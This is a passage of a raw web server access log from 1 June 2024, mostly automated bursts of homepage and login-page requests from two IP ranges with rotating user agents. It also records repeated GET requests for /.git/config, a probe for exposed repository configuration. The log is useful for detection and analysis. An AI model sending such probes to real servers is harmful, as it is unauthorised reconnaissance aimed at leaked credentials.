Chrome/116.0.0.0 Safari/537.36" +91.90.120.14 - - [01/Jun/2024:13:36:27 -0500] "HEAD / HTTP/1.1" 301 0 "-" "-" +154.28.229.28 - - [01/Jun/2024:13:36:27 -0500] "GET /main.712d6f30396f42406a3d.js HTTP/1.1" 200 778048 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.28 - - [01/Jun/2024:13:36:27 -0500] "GET /vendor.c6c227160a59d929ec43.js HTTP/1.1" 200 1036956 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +91.90.120.14 - - [01/Jun/2024:13:36:27 -0500] "HEAD / HTTP/1.1" 301 0 "-" "-" +93.123.39.11 - - [01/Jun/2024:13:36:27 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36" +91.90.120.14 - - [01/Jun/2024:13:36:28 -0500] "HEAD / HTTP/1.1" 301 0 "-" "-" +91.90.120.14 - - [01/Jun/2024:13:36:28 -0500] "HEAD / HTTP/1.1" 200 0 "-" "python-requests/2.27.1" +91.90.120.14 - - [01/Jun/2024:13:36:28 -0500] "HEAD / HTTP/1.1" 400 0 "-" "python-requests/2.27.1" +91.90.120.14 - - [01/Jun/2024:13:36:28 -0500] "HEAD / HTTP/1.1" 401 0 "-" "python-requests/2.27.1" +72.179.167.199 - - [01/Jun/2024:13:36:28 -0500] "GET / HTTP/1.1" 302 0 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:36:28 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 10082 "-" "Uptime-Kuma/1.23.13" +91.90.120.14 - - [01/Jun/2024:13:36:28 -0500] "HEAD / HTTP/1.1" 301 0 "-" "-" +93.123.39.11 - - [01/Jun/2024:13:36:29 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Windows NT 6.2; rv:125.0.) Gecko/20100101 Firefox/125.0." +91.90.120.14 - - [01/Jun/2024:13:36:29 -0500] "HEAD / HTTP/1.1" 301 0 "-" "-" +91.90.120.14 - - [01/Jun/2024:13:36:29 -0500] "HEAD / HTTP/1.1" 401 0 "-" "python-requests/2.27.1" +91.90.120.14 - - [01/Jun/2024:13:36:29 -0500] "HEAD / HTTP/1.1" 200 0 "-" "python-requests/2.27.1" +93.123.39.11 - - [01/Jun/2024:13:36:30 -0500] "GET /.git/config HTTP/2.0" 404 43 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" +154.28.229.104 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.236 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.153 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.79 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.48 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.236 - - [01/Jun/2024:13:36:31 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.153 - - [01/Jun/2024:13:36:31 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.48 - - [01/Jun/2024:13:36:31 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3214 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.166 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.82 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.128 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.67 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.163 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.190 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.75 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 401 574 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.232 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 401 61 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.180 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.210 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.138 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 302 5 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.121 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 8751 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.55 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.22 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.172 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.18 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.122 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.109 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.114 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.28 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.245 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.67 - - [01/Jun/2024:13:36:31 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.163 - - [01/Jun/2024:13:36:31 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3225 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.138 - - [01/Jun/2024:13:36:31 -0500] "GET /web/index.html HTTP/1.1" 200 14906 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.55 - - [01/Jun/2024:13:36:31 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.127 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.187 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.107 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.59 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 307 5 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.179 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.96 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.179 - - [01/Jun/2024:13:36:31 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3201 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.224 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.59 - - [01/Jun/2024:13:36:31 -0500] "GET /login HTTP/1.1" 200 41224 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.54 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.143 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 302 95 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.159 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.134 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.105 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.164 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.54 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.113 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.44 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.248 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.14 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.9 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 401 574 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.53 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.82 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 401 61 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.139 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.106 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 401 574 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.162 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 401 574 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.29 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.202 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.147 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.190 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.50 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 8751 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.117 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 302 5 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.40 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.75 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.249 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.30 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.233 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 302 217 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.89 - - [01/Jun/2024:13:36:31 -0500] "GET / HTTP/1.1" 302 217 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.113 - - [01/Jun/2024:13:36:32 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3214 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.57 - - [01/Jun/2024:13:36:32 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.148 - - [01/Jun/2024:13:36:32 -0500] "GET / HTTP/1.1" 302 95 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.57 - - [01/Jun/2024:13:36:32 -0500] "GET / HTTP/1.1" 200 1564 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.252 - - [01/Jun/2024:13:36:32 -0500] "GET / HTTP/1.1" 200 3879 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.219 - - [01/Jun/2024:13:36:32 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.238 - - [01/Jun/2024:13:36:32 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.182 - - [01/Jun/2024:13:36:32 -0500] "GET / HTTP/1.1" 200 1564 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.76 - - [01/Jun/2024:13:36:32 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.207 - - [01/Jun/2024:13:36:32 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.154 - - [01/Jun/2024:13:36:32 -0500] "GET / HTTP/1.1" 302 95 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.242 - - [01/Jun/2024:13:36:32 -0500] "GET / HTTP/1.1" 200 3879 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.132 - - [01/Jun/2024:13:36:32 -0500] "GET / HTTP/1.1" 307 5 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.117 - - [01/Jun/2024:13:36:32 -0500] "GET /web/index.html HTTP/1.1" 200 14906 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.36 - - [01/Jun/2024:13:36:32 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.253 - - [01/Jun/2024:13:36:32 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.89 - - [01/Jun/2024:13:36:32 -0500] "GET /login?next=%2F HTTP/1.1" 200 4238 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.233 - - [01/Jun/2024:13:36:32 -0500] "GET /login?next=%2F HTTP/1.1" 200 4238 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.39 - - [01/Jun/2024:13:36:32 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.57 - - [01/Jun/2024:13:36:32 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.219 - - [01/Jun/2024:13:36:32 -0500] "GET /web/ HTTP/1.1" 200 2067 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.207 - - [01/Jun/2024:13:36:32 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3196 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.76 - - [01/Jun/2024:13:36:32 -0500] "GET /web/ HTTP/1.1" 200 2062 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.132 - - [01/Jun/2024:13:36:32 -0500] "GET /login HTTP/1.1" 200 41224 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:36:32 -0500] "GET /.git/config HTTP/2.0" 401 61 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" +154.28.229.153 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.153 - - [01/Jun/2024:13:36:33 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.18 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.28 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.67 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.127 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.67 - - [01/Jun/2024:13:36:33 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.159 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.164 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.134 - - [01/Jun/2024:13:36:33 -0500] "GET / 